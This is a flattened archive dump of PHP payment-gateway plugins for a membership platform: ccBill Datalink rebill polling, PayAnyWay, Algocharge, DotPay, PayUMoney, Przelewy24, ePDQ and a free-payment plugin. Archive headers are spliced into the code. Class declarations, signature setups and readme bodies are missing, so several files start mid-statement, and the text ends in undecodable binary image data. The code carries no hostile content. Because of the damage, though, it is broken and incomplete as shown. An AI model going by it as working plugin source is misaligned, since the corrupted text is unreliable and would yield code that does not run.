create a datalink user. You can make one for a specific subaccount OR for "ALL" sub accounts. They need to make the datalink user for the specific subaccount, and not use the "ALL" option. 12. Enter datalink username and pasword into ccBill plugin settings. 13. To test datalink you can click on the following link
    EOT; } function dateToSQL($date) { if (preg_match('/^\d{14}$/', $date)) { $s = substr($date, 0, 4) . '-' . substr($date, 4, 2) . '-' . substr($date, 6, 2); return $s; } else { $tm = strtotime($date); return date('Y-m-d', $tm); } } function timeToSQL($date) { $s = substr($date, 0, 4) . '-' . substr($date, 4, 2) . '-' . substr($date, 6, 2) . ' ' . substr($date, 8, 2) . ':' . substr($date, 10, 2) . ':' . substr($date, 12, 2) . ''; return $s; } // Datalink request here; function onHourly() { if (!$this->getConfig('datalink_user') || !$this->getConfig('datalink_pass')) { $this->getDi()->errorLogTable->log("ccBill plugin error: Datalink is not configured!"); return; } define('CCBILL_TIME_OFFSET', -8 * 3600); $last_run = $this->getDi()->store->get(self::CCBILL_LAST_RUN); if (!$last_run || ($last_run < 19700101033324 )) $last_run = gmdate('YmdHis', time() - 15 * 3600 * 24 + CCBILL_TIME_OFFSET); $now_run = gmdate('YmdHis', time() + CCBILL_TIME_OFFSET); $last_run_tm = strtotime($this->timeToSQL($last_run)); $now_run_tm = strtotime($this->timeToSQL($now_run)); //ccBill allows to query data for last 24 hours only; if (($now_run_tm - $last_run_tm) > 3600 * 24) $now_run_tm = $last_run_tm + 3600 * 24; $now_run = date('YmdHis', $now_run_tm); //ccBill allow to execute datalink once in a hour only. if (($now_run_tm - $last_run_tm) <= 3600) return; $vars = array( 'startTime' => $last_run, 'endTime' => $now_run, 'transactionTypes' => 'REBILL,REFUND,EXPIRE,CHARGEBACK', 'clientAccnum' => $this->getConfig('account'), 'clientSubacc' => $this->getConfig('subaccount_id'), 'username' => $this->getConfig('datalink_user'), 'password' => $this->getConfig('datalink_pass') ); $r = new Am_HttpRequest($requestString = self::DATALINK_URL . '?' . http_build_query($vars, '', '&')); $log = $this->logRequest($r, 'Datalink'); $response = $r->send(); $log->add($response); $log->toggleMask(); $log->add(array( $last_run, $now_run )); if (!$response) { $this->getDi()->errorLogTable->log('ccBill Datalink error: Unable to contact datalink server'); return; } $resp = $response->getBody(); if (preg_match('/Error:(.+)/m', $resp, $regs)) { $e = $regs[1]; $this->getDi()->errorLogTable->log('ccBill Datalink error: ' . $e); return; } if ($resp == 1) { // Nothing to handle; } else { foreach (preg_split('/[\r\n]+/', $resp) as $line_orig) { $line = trim($line_orig); if (!strlen($line)) continue; $line = preg_split('/,/', $line); foreach ($line as $k => $v) $line[$k] = preg_replace('/^\s*"(.+?)"\s*$/', '\1', $v); $public_id = $line[3]; $invoice = $this->getDi()->invoiceTable->findByReceiptIdAndPlugin($line[3], $this->getId()); if (!$invoice) { // In case of free trial there is no payment. So try to find invoice by external_id $invoice = $this->getDi()->invoiceTable->findFirstByData('external_id', $line[3]); if(!$invoice || ($invoice->paysys_id != $this->getId())) { $this->getDi()->errorLogTable->log('ccBill Datalink error: unable to find invoice for this record: ' . $line_orig); continue; } } // "REBILL","434344","0001","0312112601000035671","2012-05-21","0112142105000024275","5.98" // "REBILL","545455","0001","0312112601000035867","2012-05-21","0112142105000024293","6.10" $transaction = null; switch ($line[0]) { case 'EXPIRE': $transaction = new Am_Paysystem_Transaction_Ccbill_Datalink_Expire($this, $line); break; case 'REFUND': case 'CHARGEBACK': $transaction = new Am_Paysystem_Transaction_Ccbill_Datalink_Refund($this, $line); break; case 'RENEW': case 'REBILL': case 'REBill': $transaction = new Am_Paysystem_Transaction_Ccbill_Datalink_Rebill($this, $line); break; default: $this->getDi()->errorLogTable->log('ccBill Datalink error: unknown record: ' . $line_orig); } if (is_null($transaction)) continue; $transaction->setInvoice($invoice); try { $transaction->process(); } catch (Am_Exception $e) { $this->getDi()->errorLogTable->log(sprintf('ccBill Datalink Error: %s while handling line: %s', $e->getMessage(), $line_orig)); } } } $this->getDi()->store->set(self::CCBILL_LAST_RUN, $now_run); } function sendTest() { define('CCBILL_TIME_OFFSET', -8 * 3600); $last_run = $this->getDi()->store->get(self::CCBILL_LAST_RUN); if (!$last_run || ($last_run < 19700101033324 )) $last_run = gmdate('YmdHis', time() - 15 * 3600 * 24 + CCBILL_TIME_OFFSET); $now_run = gmdate('YmdHis', time() + CCBILL_TIME_OFFSET); $last_run_tm = strtotime($this->timeToSQL($last_run)); $now_run_tm = strtotime($this->timeToSQL($now_run)); if (($now_run_tm - $last_run_tm) > 3600 * 24) $now_run_tm = $last_run_tm + 3600 * 24; $now_run = date('YmdHis', $now_run_tm); $vars = array( 'startTime' => $last_run, 'endTime' => $now_run, 'transactionTypes' => 'REBILL,REFUND,EXPIRE,CHARGEBACK', 'clientAccnum' => $this->getConfig('account'), 'clientSubacc' => $this->getConfig('subaccount_id'), 'username' => $this->getConfig('datalink_user'), 'password' => $this->getConfig('datalink_pass') ); $r = new Am_HttpRequest($requestString = self::DATALINK_URL . '?' . http_build_query($vars, '', '&')); $response = $r->send(); //global problems with connection if (!$response) { return 'ccBill Datalink error: Unable to contact datalink server'; } $resp = $response->getBody(); $this->getDi()->errorLogTable->log(sprintf("ccBill Datalink debug (%s, %s):\n%s\n%s", $last_run, $now_run, $requestString, $resp)); if (preg_match('/Error:(.+)/m', $resp, $regs)) { $e = $regs[1]; //some useful instruction if error like 'authentication error' if(preg_match('/auth/i',$e)) { $r_ip = new Am_HttpRequest('https://www.amember.com/get_ip.php'); $ip = $r_ip->send(); return 'ccBill Datalink error: ' . $e.'

    Usually it happens because ccBill has wrongly
    configured your server IP address.

    IP of your webserver is:'.$ip->getBody().'

    Please copy it down, contact ccBill support
    and provide them with this IP as a correct IP for your website.
    Once ccBill reports everything is fixed
    click on the link again and make sure the change was actually applied.'; } else return 'ccBill Datalink error: ' . $e. ''; } } public function debugAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { //requires admin to use this tool $admin = $this->getDi()->authAdmin->getUser(); if (!$admin) return; //plugin is not configured if (!$this->getConfig('datalink_user') || !$this->getConfig('datalink_pass')) { $response->ajaxResponse(array('ok' => false, 'msg' => 'ccBill plugin error: Datalink is not configured!')); return; } $error = $this->sendTest(); if($request->isXmlHttpRequest()) { if(empty($error)) $response->ajaxResponse(array('ok' => true)); else $response->ajaxResponse(array('ok' => false, 'msg' => $error)); } else echo $error; } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { $actionName = $request->getActionName(); if($actionName=='debug') { $this->debugAction($request, $response, $invokeArgs); } else parent::directAction($request, $response, $invokeArgs); } } class Am_Paysystem_Transaction_Ccbill_Upgrade extends Am_Paysystem_Transaction_Abstract { protected $xml; function __construct(Am_Paysystem_Abstract $plugin, $xml) { parent::__construct($plugin); $this->xml = $xml; } public function getUniqId() { return (string)$this->xml->subscriptionId; } } class Am_Paysystem_Transaction_Ccbill_datalink extends Am_Paysystem_Transaction_Abstract { protected $vars; function __construct(Am_Paysystem_Abstract $plugin, $vars) { parent::__construct($plugin); $this->vars = $vars; } public function getAmount() { return $this->vars[6]; } public function getUniqId() { return $this->vars[5]; } } class Am_Paysystem_Transaction_Ccbill_Datalink_Rebill extends Am_Paysystem_Transaction_Ccbill_datalink { public function processValidated() { $this->invoice->addPayment($this); } } class Am_Paysystem_Transaction_Ccbill_Datalink_Refund extends Am_Paysystem_Transaction_Ccbill_datalink { public function getUniqId() { return $this->vars[3] . '-RFND'; } public function getAmount() { return $this->vars[5]; } public function processValidated() { $this->invoice->addRefund($this, $this->vars[3]); } } class Am_Paysystem_Transaction_Ccbill_Datalink_Expire extends Am_Paysystem_Transaction_Ccbill_datalink { function processValidated() { $this->invoice->stopAccess($this); } } class Am_Paysystem_Transaction_Ccbill extends Am_Paysystem_Transaction_Incoming { protected $_autoCreateMap = array( 'login' => 'username', 'pass' => 'password', 'name_f' => 'customer_fname', 'name_l' => 'customer_lname', 'country' => 'country', 'state' => 'state', 'email' => 'email', 'city' => 'city', 'street' => 'address1', 'user_external_id' => 'email', 'invoice_external_id' => array('originalSubscriptionId', 'subscription_id'), ); public function autoCreateGetProducts() { $cbId = $this->request->getFiltered('productId') ? $this->request->getFiltered('productId') : intval($this->request->getFiltered('typeId')); if (empty($cbId)) return; $pl = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('ccbill_product_id', $cbId); if (!$pl) return; $pr = $pl->getProduct(); if (!$pr) return; return array($pr); } public function findInvoiceId() { return $this->request->get('payment_id'); } public function getUniqId() { return $this->request->get('subscription_id'); } public function validateSource() { if ($this->request->get('clientAccnum') != $this->getPlugin()->getConfig('account')) throw new Am_Exception_Paysystem_TransactionSource(sprintf('Incorrect CCBILL account number: [%s] instead of [%s]', $this->request->get('clientAccnum'), $this->getPlugin()->getConfig('account'))); if ($host = gethostbyaddr($addr = $this->request->getClientIp())) { if (!strlen($host) || ($addr == $host)) { // ccbill_error("Cannot resolve host: ($addr=$host)\n"); // let is go, as some hosts are just unable to resolve names } elseif (!preg_match('/ccbill\.com$/', $host)) throw new Am_Exception_Paysystem_TransactionSource("POST is not from ccbill.com, it is from ($addr=$host)\n"); } return true; } public function validateStatus() { if (strlen($this->request->get('reasonForDecline')) > 0) return false; return true; } public function validateTerms() { if($this->getPlugin()->getConfig('dynamic_pricing')) return true; if($this->invoice->getItem(0)->getBillingPlanData("ccbill_flexform_id")) return true; if (intval($this->invoice->getItem(0)->getBillingPlanData("ccbill_product_id")) != intval($this->request->get('typeId'))) { throw new Am_Exception_Paysystem_TransactionInvalid(sprintf("Product ID doesn't match: %s and %s", intval($this->invoice->getItem(0)->getBillingPlanData("ccbill_product_id")), intval($this->request->get('typeId')))); } return true; } public function processValidated() { if(!count($this->invoice->getAccessRecords()) && (floatval($this->invoice->first_total) == 0)) { if(!$this->invoice->data()->get('external_id') && $this->request->get('subscription_id')) { $this->invoice->data()->set('external_id', $this->request->get('subscription_id'))->update(); } $this->invoice->addAccessPeriod($this); } else { $this->invoice->addPayment($this); } } } class Am_Paysystem_Transaction_Ccbill_Thanks extends Am_Paysystem_Transaction_Incoming_Thanks { public function process() { //redirect to thanks page only $this->invoice = $this->loadInvoice($this->request->get('customVar1')); } public function getUniqId() { } public function validateSource() { } public function validateStatus() { } public function validateTerms() { } }PK\H>_payment/free.phpnu[isZero()) return array(___('Cannot use FREE payment plugin with a product which cost more than 0.0')); } function _process(/* Invoice */$invoice, /*Am_Mvc_Request */$request, /*Am_Paysystem_Result */$result) { $result->setSuccess(new Am_Paysystem_Transaction_Free($this)); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function createTransaction(/* Am_Mvc_Request */$request, /*Am_Mvc_Response */$response, array $invokeArgs) { return null; } public function onSetupForms(Am_Event_SetupForms $e) { return; } }PK\ 66payment/payanyway.phpnu[addText('url') ->setLabel(___("Payment System Domain\n" . 'Leave default value if you are not sure')) ->setValue(self::DOMAIN); $form->addText('mnt_id') ->setLabel(___("Shop Id\n" . 'Unique Shop ID in the system')); $form->addAdvCheckbox('test_mode')->setLabel(___('Test Mode')); $form->addSelect('locale', array(), array('options'=>array('ru'=>'ru', 'eng'=>'eng')))->setLabel(___('Language')); $form->addText('secret_code') ->setLabel(___('Data Integrity Code')); } public function getSupportedCurrencies() { return array( 'RUB', 'USD'); } function getOutgoingSignature(Am_Paysystem_Action_Redirect $a){ $sig = md5($ss = sprintf('%s%s%s%s%s%s', $a->MNT_ID, $a->MNT_TRANSACTION_ID, $a->MNT_AMOUNT, $a->MNT_CURRENCY_CODE, $a->MNT_TEST_MODE, $this->getConfig('secret_code') )); return $sig; } function getIncomingSignature(Am_Mvc_Request $r){ $sig = md5(sprintf('%s%s%s%s%s%s%s', $r->get('MNT_ID'), $r->get('MNT_TRANSACTION_ID'),$r->get('MNT_OPERATION_ID'), $r->get('MNT_AMOUNT'), $r->get('MNT_CURRENCY_CODE'), $r->get('MNT_TEST_MODE'), $this->getConfig('secret_code') )); return $sig; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect('https://'.$this->getConfig('url', self::DOMAIN).'/assistant.htm'); $a->MNT_ID = $this->getConfig('mnt_id'); $a->MNT_TRANSACTION_ID = $invoice->public_id; $a->MNT_CURRENCY_CODE = $invoice->currency; $a->MNT_AMOUNT = $invoice->first_total; $a->MNT_TEST_MODE = $this->getConfig('test_mode')? 1:0; $a->MNT_DESCRIPTION = $invoice->getLineDescription(); $a->MNT_SUCCESS_URL = $this->getReturnUrl(); $a->MNT_FAIL_URL = $this->getCancelUrl(); $a->MNT_SIGNATURE = $this->getOutgoingSignature($a); $a->__set('moneta.locale', $this->getConfig('locale', 'ru')); $result->setAction($a); } function getReadme() { return << «Управление» -> «Редактировать счет» Впишите следующий адрес в поле «Pay URL»: %root_url%/payment/payanyway/ipn CUT; } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Payanyway($this, $request,$response,$invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } function isNotAcceptableForInvoice(Invoice $invoice) { if($invoice->rebill_times){ return array(___('Payanyway plugin does not support recurring billing!')); } } } class Am_Paysystem_Transaction_Payanyway extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { return $this->request->get('MNT_OPERATION_ID'); } public function findInvoiceId() { return $this->request->get('MNT_TRANSACTION_ID'); } public function validateSource() { if($this->getPlugin()->getIncomingSignature($this->request) != $this->request->get('MNT_SIGNATURE')){ throw new Am_Exception_Paysystem_TransactionSource( sprintf('Signature verification failed got=%s calculated=%s', $this->request->get('MNT_SIGNATURE'), $this->getPlugin()->getIncomingSignature($this->request))); } return true; } public function validateStatus() { return true; } public function validateTerms() { if($this->request->get('MNT_AMOUNT') != $this->invoice->first_total) throw new Am_Exception_Paysystem_TransactionInvalid('Invalid amount for transaction. Got '.$this->request->get('MNT_AMOUNT')); return true; } function processValidated() { $this->invoice->addPayment($this); echo "SUCCESS"; } } PK\m,opayment/algocharge.phpnu[addText('merchant_id') ->setLabel('Your Algocharge Merchand ID') ->addRule('required'); $form->addText('merchant_desc', array('maxlength' => 9)) ->setLabel("Description\n" . "typically value is the name of the company\nmax length - 9 symbols"); $form->addAdvCheckbox('is_adult') ->setLabel('For Adult Products'); $form->addAdvCheckbox('test_mode') ->setLabel('Test Mode Enabled'); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function isConfigured() { return (bool)($this->getConfig('merchant_id')); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $user = $invoice->getUser(); $vars = array( 'INAME' => 'purchase', 'Mer' => $this->getConfig('merchant_desc'), 'MerchantID' => $this->getConfig('merchant_id'), 'TransactionID' => $invoice->public_id, 'UserDesc' => strlen($desc = $invoice->getLineDescription()) > 256 ? substr($desc, 0, 253) . "..." : $desc, 'Amount' => $invoice->first_total, 'Currency' => $invoice->currency, 'itemType' => $this->getConfig('is_adult', false) ? 1 : 3, 'SuccessUserPage' => $this->getPluginUrl('thanks'), 'FailureUserPage' => $this->getCancelUrl(), 'MerchantData' => $invoice->getSecureId(self::SECURE_STRING . $invoice->first_total), 'ResultPageMethod' => 'POST', 'settleImmediate' => 1, //? 'FirstName' => $user->name_f, 'LastName' => $user->name_l, 'email' => $user->email, 'Address' => $user->street, 'City' => $user->city, 'postCode' => $user->zip, 'Country' => $user->country, 'State' => $user->state, 'Telephone' => $user->phone, ); $this->logRequest($vars); $action = new Am_Paysystem_Action_Form($this->getConfig('test_mode') ? self::URL_PAY_TEST : self::URL_PAY_LIVE); foreach ($vars as $key => $value) $action->$key = $value; $result->setAction($action); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Algocharge($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Algocharge($this, $request, $response, $invokeArgs); } public function getReadme(){ return <<Algocharge plugin installation NOTE 1: Refund of subscription are not possible via plugin. NOTE 2: This plugin is not support recurring payments. For testing use: Merchant ID: 212643 Check 'Test Mode Enabled' option Test Credit Cards: 5100981398990605 5100984857420395 5100987211166349 5100988144651688 5100988917934055 5100989508431394 All expiration dates: 12/2014 CUT; } } class Am_Paysystem_Transaction_Algocharge extends Am_Paysystem_Transaction_Incoming{ public function getUniqId() { return microtime(true) . rand(10000, 99990); } public function findInvoiceId() { return $this->request->get("TransactionID"); } public function validateSource() { return (bool)(Am_Di::getInstance()->invoiceTable->findBySecureId($this->request->get("MerchantData"), Am_Paysystem_Algocharge::SECURE_STRING . $this->request->get("Amount"))); } public function validateStatus() { return (bool) ($this->request->getFiltered('RetCode') == 0); } public function validateTerms() { return true; } }PK\- payment/dotpay.phpnu[addText("seller_id") ->setLabel('Your DotPay Seller ID'); $form->addSelect('lang', array(), array('options' => array( 'en' => 'English', 'de' => 'German', 'fr' => 'French', 'cz' => 'Czech', 'es' => 'Spanish', 'it' => 'Italian', 'ru' => 'Russian', 'pl' => 'Polish' )))->setLabel('The payment window language'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $u = $invoice->getUser(); $a = new Am_Paysystem_Action_Redirect(self::LIVE_URL); $a->id = $this->getConfig('seller_id'); $a->amount = $invoice->first_total; $a->currency = $invoice->currency; $a->description = $invoice->getLineDescription(); $a->control = $invoice->public_id; $a->URL = $this->getReturnUrl(); $a->type = '0'; $a->lang = $this->getConfig('lang'); $a->URLC = $this->getPluginUrl('ipn'); $a->firstname = $u->name_f; $a->lastname = $u->name_l; $a->email = $u->email; $a->street = $u->street; $a->state = $u->state; $a->city = $u->city; $a->postcode = $u->zip; $a->country = $u->country; $a->filterEmpty(); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Dotpay($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getSupportedCurrencies() { return array('PLN', 'EUR', 'GBP', 'JPY', 'USD'); } } class Am_Paysystem_Transaction_Dotpay extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { return $this->request->getFiltered('t_id'); } public function validateSource() { $this->_checkIp(<<request->getFiltered('id') == $this->getPlugin()->getConfig('seller_id'); } public function validateStatus() { return $this->request->getFiltered('status') == 'OK'; } public function validateTerms() { return true; } public function processValidated() { parent::processValidated(); echo "OK"; } }PK\payment/payumoney.phpnu[addText('key') ->setLabel('PayUMoney Key') ->addRule('required'); $form->addText('salt') ->setLabel('PayUMoney Salt') ->addRule('required'); $form->addAdvCheckbox('testing') ->setLabel("Test Mode"); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { /* @var $user User*/ $user = $invoice->getUser(); $a = new Am_Paysystem_Action_Form($this->getConfig('testing') ? self::URL_TEST : self::URL_LIVE); $post = array( 'key' => $this->getConfig('key'), 'txnid' => $invoice->public_id, 'amount' => $invoice->first_total, 'productinfo' => $invoice->getLineDescription(), 'firstname' => $user->name_f, 'lastname' => $user->name_l, 'email' => $user->email, 'phone' => $user->phone, 'surl' => $this->getPluginUrl('thanks'), 'furl' => $this->getCancelUrl(), 'curl' => $this->getCancelUrl(), 'service_provider' => 'payu_paisa' ); $post['hash'] = hash("sha512", "{$post['key']}|{$post['txnid']}|{$post['amount']}|{$post['productinfo']}|{$post['firstname']}|{$post['email']}" . "|||||||||||" . $this->getConfig('salt')); foreach ($post as $k => $v) if($k) $a->$k = $v; $this->logRequest($post, 'POST'); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Zend_Controller_Response_Http $response, array $invokeArgs) { } public function createThanksTransaction(Am_Mvc_Request $request, Zend_Controller_Response_Http $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Payumoney($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getReadme() { return <<PayU Money plugin readme Ask PayU Money support your Key & Salt and configure plugin. Test Info: Test Card Name: any name Test Card Number: 5123456789012346 Test CVV: 123 Test Expiry: May 2017 CUT; } } class Am_Paysystem_Transaction_Payumoney extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { return $this->request->get('payuMoneyId'); } public function validateSource() { $calcHash = hash("sha512", $this->plugin->getConfig('salt') . "|" . $this->request->get('status') . "|||||||||||" . $this->request->get('email') . "|" . $this->request->get('firstname') . "|" . $this->request->get('productinfo') . "|" . $this->request->get('amount') . "|" . $this->request->get('txnid') . "|" . $this->request->get('key')); return $calcHash == $this->request->get('hash'); } public function validateStatus() { return ($this->request->get('status') == "success"); } public function validateTerms() { $this->assertAmount($this->invoice->first_total, $this->request->get('amount')); return true; } public function findInvoiceId() { return $this->request->get('txnid'); } } PK\F"͸payment/przelewy24.phpnu[addText('merchant_id')->setLabel('Merchant ID'); $form->addText('pos_id')->setLabel('Shop ID (default: Merchant ID)'); $form->addPassword('crc')->setLabel('CRC Key'); $form->addAdvCheckbox('testing') ->setLabel("Is it a Sandbox(Testing) Account?"); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $user = $invoice->getUser(); $req = new Am_HttpRequest($this->host() . 'trnRegister', Am_HttpRequest::METHOD_POST); $vars = array( 'p24_merchant_id' => $this->getConfig('merchant_id'), 'p24_pos_id' => $this->getConfig('pos_id'), 'p24_session_id' => $invoice->public_id, 'p24_amount' => $invoice->first_total * 100, 'p24_currency' => $invoice->currency, 'p24_description' => $invoice->getLineDescription(), 'p24_email' => $user->email, 'p24_country' => $user->country, 'p24_url_return' => $this->getReturnUrl(), 'p24_url_status' => $this->getPluginUrl('ipn'), 'p24_time_limit' => 5, 'p24_encoding' => 'UTF-8', 'p24_api_version' => '3.2' ); $vars['p24_sign'] = $this->sign(array( $vars['p24_session_id'], $vars['p24_pos_id'], $vars['p24_amount'], $vars['p24_currency'] )); $req->addPostParameter($vars); $this->logRequest($req); $resp = $req->send(); $this->logResponse($resp); if ($resp->getStatus() != 200) { $result->setFailed('Incorrect HTTP response status: ' . $resp->getStatus()); return; } parse_str($resp->getBody(), $params); if ($params['error']) { $result->setFailed(explode('&', $params['errorMessage'])); return; } $a = new Am_Paysystem_Action_Redirect($this->host() . 'trnRequest/' . $params['token']); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Przelewy24($this, $request, $response, $invokeArgs); } function sign($params) { $params[] = $this->getConfig('crc'); return md5(implode('|', $params)); } function host() { return $this->getConfig('testing') ? self::SANDBOX_URL : self::LIVE_URL; } public function getReadme() { $url = $this->getPluginUrl('ipn'); return <<Address Brick to your signup form with country field enabled. Information about user country is requered for this payment plugin. You can modify signup form at aMember CP -> Configuration -> Forms Editor CUT; } } class Am_Paysystem_Transaction_Przelewy24 extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { return $this->request->getParam("p24_order_id"); } public function findInvoiceId() { return $this->request->getParam("p24_session_id"); } public function validateSource() { $this->_checkIp(<<plugin->sign(array( $this->request->getParam('p24_session_id'), $this->request->getParam('p24_order_id'), $this->request->getParam('p24_amount'), $this->request->getParam('p24_currency') )) != $this->request->getParam('p24_sign')) { return false; } //this request is very important. Transaction will not //be completed on payment sytem side until we verify it $req = new Am_HttpRequest($this->plugin->host() . 'trnVerify', Am_HttpRequest::METHOD_POST); $req->addPostParameter(array( 'p24_merchant_id' => $this->request->getParam('p24_merchant_id'), 'p24_pos_id' => $this->request->getParam('p24_pos_id'), 'p24_session_id' => $this->request->getParam('p24_session_id'), 'p24_amount' => $this->request->getParam('p24_amount'), 'p24_currency' => $this->request->getParam('p24_currency'), 'p24_order_id' => $this->request->getParam('p24_order_id'), 'p24_sign' => $this->plugin->sign(array( $this->request->getParam('p24_session_id'), $this->request->getParam('p24_order_id'), $this->request->getParam('p24_amount'), $this->request->getParam('p24_currency') )) )); $this->log->add($req); $resp = $req->send(); $this->log->add($resp); if ($resp->getStatus() != 200) return false; parse_str($resp->getBody(), $params); if ($params['error']) return false; return true; } public function validateStatus() { return true; } public function validateTerms() { return $this->invoice->currency == $this->request->getParam("p24_currency") && 100 * $this->invoice->first_total == $this->request->getParam("p24_amount"); } }PK\oVVpayment/epdq.phpnu[addText('pspid') ->setLabel('Your affiliation name in ePDQ'); $form->addPassword('shain', array('class' => 'el-wide')) ->setLabel("SHA IN Pass Phrase\n" . "can be found on page Configuration -> Technical Information -> Data and origin verification in your ePDQ account"); $form->addPassword('shaout', array('class' => 'el-wide')) ->setLabel("SHA OUT Pass Phrase\n" . "can be found on page Configuration -> Technical Information -> Transaction Feedback in your ePDQ account"); $form->addAdvCheckbox('testing') ->setLabel("Is it a Sandbox(Testing) Account?"); } public function getUrl() { return $this->getConfig('testing') ? self::ACTION_URL_TEST : self::ACTION_URL_PROD; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect($this->getUrl()); $params = array( 'PSPID' => $this->getConfig('pspid'), 'ORDERID' => $invoice->public_id, 'AMOUNT' => $invoice->first_total * 100, 'CURRENCY' => $invoice->currency, 'LANGUAGE' => 'en_US', 'CN' => $invoice->getUser()->getName(), 'EMAIL' => $invoice->getUser()->email, 'COM' => $invoice->getLineDescription(), 'ACCEPTURL' => $this->getReturnUrl(), 'DECLINEURL' => $this->getCancelUrl(), 'CANCELURL' => $this->getCancelUrl(), 'EXCEPTIONURL' => $this->getCancelUrl() ); ksort($params, SORT_STRING); $s = ''; foreach ($params as $k => $v) { $s .= $k . '=' . $v . $this->getConfig('shain'); } $params['SHASIGN'] = strtoupper(sha1($s)); foreach ($params as $k => $v) { $a->{$k} = $v; } $this->logRequest($a); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Epdq($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Epdq_Thanks($this, $request, $response, $invokeArgs); } public function getReadme() { $ipn = Am_Html::escape($this->getPluginUrl('ipn')); return << Technical Information -> Transaction Feedback' in your ePDQ account and set it to $ipn CUT; } } class Am_Paysystem_Transaction_Epdq extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { return $this->request->get("PAYID"); } public function findInvoiceId() { return $this->request->get("orderID"); } public function validateSource() { $params = array(); foreach ($this->request->getRequestOnlyParams() as $k => $v) { $params[strtoupper($k)] = $v; } ksort($params, SORT_STRING); $sign = $params['SHASIGN']; unset($params['SHASIGN']); $s = ''; foreach ($params as $k => $v) { $s .= $k . '=' . $v . $this->getPlugin()->getConfig('shaout'); } return ($sign && $sign == strtoupper(sha1($s))); } public function validateStatus() { return in_array($this->request->get('STATUS'), array(5,9)); } public function validateTerms() { return (float)$this->invoice->first_total == (float)$this->request->get('amount') && $this->invoice->currency == $this->request->get('currency'); } } class Am_Paysystem_Transaction_Epdq_Thanks extends Am_Paysystem_Transaction_Epdq { function process() { try { parent::process(); } catch (Am_Exception_Paysystem_TransactionAlreadyHandled $e) { // do nothing if transaction is already handled } if (Am_Di::getInstance()->config->get('auto_login_after_signup')) Am_Di::getInstance()->auth->setUser($this->invoice->getUser(), $this->request->getClientIp()); } }PK\G%payment/monelib/public/buyCode_fr.pngnu[PNG  IHDRIBd֐.tEXtCreation Timemar. 18 nov. 2008 17:49:11 +0100c@tIME %3< pHYs  ~gAMA asIDATx] xT~k2C¢CX"₂R뵖GZRr*^lmUD-."[ D d_fsd2 C$`d?sHq-HƕW^FD1c mݘnD ĊYh k dMࢁt>}:T*|IO#==op 7`̘1"Ǚ3gں %~vO?ǨQҽ^8عs'Ν ++@QHVڵkѭ[7\{mcW^i̒t͚5l&'~5 4C3+-59m)lglJ֢̯}F*ߍMu>Y h0m4!%%Nʕ+믋&LСC1rHraƌ?~Cylk<͆ ۷'OiֱE'O/~fǎgСN'ݻy涞"dz/}y 툄Dw֗bشrS>lƠK̘ Q=HKKƍ 9i$\uUxꩧ+Vk/_^z {ixwq5hԩMڵd #3xCq;̙s@HD=)= Z+ZǴOF}!.\%kڦ`BWߊ,Gv*`‡#}B+D}ڶ.,$ HA \4H5 &p A.ĴziI#$l; |n$ 4 ,-G*d' C DB}o,G9MLz YϭB&{2}a~;˸yw[ŋ2%13/J63n t(Sj Y:O(GdďT OҴY$qW?Ɣ[򊽲 ӡӁB?3!1z&ޒ8rSW[ E2>ڸԂtp6?D~ MA.0 }|V|Nq?"Ac5|ٜK?[X Rgh!jk43X='|VlSQ[k=TףT #>?m kS[p~ʐ1mQQg4&ew'v ;5Qs<0K3ct_{ )yN7+SL*GV‹㵥~LMz2vy'ZoRjOEE]Iiia%fLT7eE14^m ѣ-((h=IDtی* ~ѩ.Y0!{|9$V+cr>$d%ʔڀG@\ N*YH/~A@d4mD&#晻I4_VI~MwZ/O-@cw#@JM*Ϥ RDjG `ϱ .7-)G3?IF`%չP+\?-qx%1|͝ j=$a@IHSb51RjSMci6I*|u ##ep7W6F ^O[KsB2?c繑ݗ;&q]kɱlZB,Y*Z}rCf}oe>HZ  ͒t^GX(F>>(0QM_rh]W[#'JWId s64)MeU;y>O)>g̑ ƠK%:*uHߴ-; +B4ɬj#M4}ZWrGrJUʎ.zyvHM+5+j EV^qSEFeĒ*x'({sӿ*yjgg)e x X6;|(4fW}?D!}'!-%{ϟ5E%vex/x"B졲Ã, n܄t~嵁R'Re+w(<.Msh|%9xfn^d($ż(P;1f,(GXm/ :u;6ܝ$Ig 